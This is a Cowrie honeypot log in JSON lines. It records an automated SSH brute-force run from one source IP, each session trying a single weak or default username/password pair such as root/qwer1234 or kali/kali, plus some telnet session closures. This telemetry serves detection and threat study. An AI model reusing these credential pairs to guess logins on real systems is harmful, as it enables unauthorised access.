{"eventid":"cowrie.session.closed","duration":39.49223732948303,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:38:46.582476Z","src_ip":"50.6.8.71","session":"d12f21cfe169","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:38:46.941323Z","src_ip":"192.109.200.237","session":"6f7880d5e076","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":47294,"dst_ip":"159.203.135.109","dst_port":22,"session":"e132ae38b793","protocol":"ssh","message":"New connection: 192.109.200.237:47294 (159.203.135.109:22) [session: e132ae38b793]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:38:48.868509Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:38:48.873250Z","src_ip":"192.109.200.237","session":"e132ae38b793","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:38:48.958477Z","src_ip":"192.109.200.237","session":"e132ae38b793","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"developer","password":"123","message":"login attempt [developer/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:38:49.205062Z","src_ip":"192.109.200.237","session":"e132ae38b793","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:38:50.291091Z","src_ip":"192.109.200.237","session":"e132ae38b793","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":47.63124465942383,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:38:51.642297Z","src_ip":"50.6.8.71","session":"0e269ef3087f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":43620,"dst_ip":"159.203.135.109","dst_port":22,"session":"487c8b06cd7a","protocol":"ssh","message":"New connection: 192.109.200.237:43620 (159.203.135.109:22) [session: 487c8b06cd7a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:38:52.080252Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:38:52.085394Z","src_ip":"192.109.200.237","session":"487c8b06cd7a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:38:52.167829Z","src_ip":"192.109.200.237","session":"487c8b06cd7a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"kali","password":"kali","message":"login attempt [kali/kali] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:38:52.414997Z","src_ip":"192.109.200.237","session":"487c8b06cd7a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:38:53.594723Z","src_ip":"192.109.200.237","session":"487c8b06cd7a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":43640,"dst_ip":"159.203.135.109","dst_port":22,"session":"bdf0182627e6","protocol":"ssh","message":"New connection: 192.109.200.237:43640 (159.203.135.109:22) [session: bdf0182627e6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:38:55.319742Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:38:55.324337Z","src_ip":"192.109.200.237","session":"bdf0182627e6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:38:55.410101Z","src_ip":"192.109.200.237","session":"bdf0182627e6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"martin","password":"martin","message":"login attempt [martin/martin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:38:55.821320Z","src_ip":"192.109.200.237","session":"bdf0182627e6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:38:56.907637Z","src_ip":"192.109.200.237","session":"bdf0182627e6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":44.051621437072754,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:38:57.725472Z","src_ip":"50.6.8.71","session":"b6cc8ed32627","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":43664,"dst_ip":"159.203.135.109","dst_port":22,"session":"43a5a296f6b8","protocol":"ssh","message":"New connection: 192.109.200.237:43664 (159.203.135.109:22) [session: 43a5a296f6b8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:38:58.781228Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:38:58.786184Z","src_ip":"192.109.200.237","session":"43a5a296f6b8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:38:58.869933Z","src_ip":"192.109.200.237","session":"43a5a296f6b8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"keycloak","password":"keycloak","message":"login attempt [keycloak/keycloak] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:38:59.117780Z","src_ip":"192.109.200.237","session":"43a5a296f6b8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:39:00.204268Z","src_ip":"192.109.200.237","session":"43a5a296f6b8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":43252,"dst_ip":"159.203.135.109","dst_port":22,"session":"93c9c394732c","protocol":"ssh","message":"New connection: 192.109.200.237:43252 (159.203.135.109:22) [session: 93c9c394732c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:39:02.004751Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:39:02.011341Z","src_ip":"192.109.200.237","session":"93c9c394732c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:39:02.108214Z","src_ip":"192.109.200.237","session":"93c9c394732c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwer1234","message":"login attempt [root/qwer1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:39:02.357854Z","src_ip":"192.109.200.237","session":"93c9c394732c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:39:03.472742Z","src_ip":"192.109.200.237","session":"93c9c394732c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":38.14425182342529,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:39:04.939156Z","src_ip":"50.6.8.71","session":"8e5ab65fce13","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":43278,"dst_ip":"159.203.135.109","dst_port":22,"session":"904028e7225e","protocol":"ssh","message":"New connection: 192.109.200.237:43278 (159.203.135.109:22) [session: 904028e7225e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:39:05.239498Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:39:05.245811Z","src_ip":"192.109.200.237","session":"904028e7225e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:39:05.330587Z","src_ip":"192.109.200.237","session":"904028e7225e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"osmc","password":"osmc","message":"login attempt [osmc/osmc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:39:05.587358Z","src_ip":"192.109.200.237","session":"904028e7225e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:39:06.672947Z","src_ip":"192.109.200.237","session":"904028e7225e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":43308,"dst_ip":"159.203.135.109","dst_port":22,"session":"b8bcedccf1fb","protocol":"ssh","message":"New connection: 192.109.200.237:43308 (159.203.135.109:22) [session: b8bcedccf1fb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:39:08.615878Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:39:08.623715Z","src_ip":"192.109.200.237","session":"b8bcedccf1fb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:39:08.705994Z","src_ip":"192.109.200.237","session":"b8bcedccf1fb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"kamran","password":"kamran","message":"login attempt [kamran/kamran] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:39:08.952771Z","src_ip":"192.109.200.237","session":"b8bcedccf1fb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:39:10.038900Z","src_ip":"192.109.200.237","session":"b8bcedccf1fb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":38926,"dst_ip":"159.203.135.109","dst_port":22,"session":"a7c3a3e37627","protocol":"ssh","message":"New connection: 192.109.200.237:38926 (159.203.135.109:22) [session: a7c3a3e37627]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:39:11.861243Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:39:11.866097Z","src_ip":"192.109.200.237","session":"a7c3a3e37627","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:39:11.948335Z","src_ip":"192.109.200.237","session":"a7c3a3e37627","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deploy","password":"root","message":"login attempt [deploy/root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:39:12.195821Z","src_ip":"192.109.200.237","session":"a7c3a3e37627","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:39:13.280915Z","src_ip":"192.109.200.237","session":"a7c3a3e37627","protocol":"ssh"}
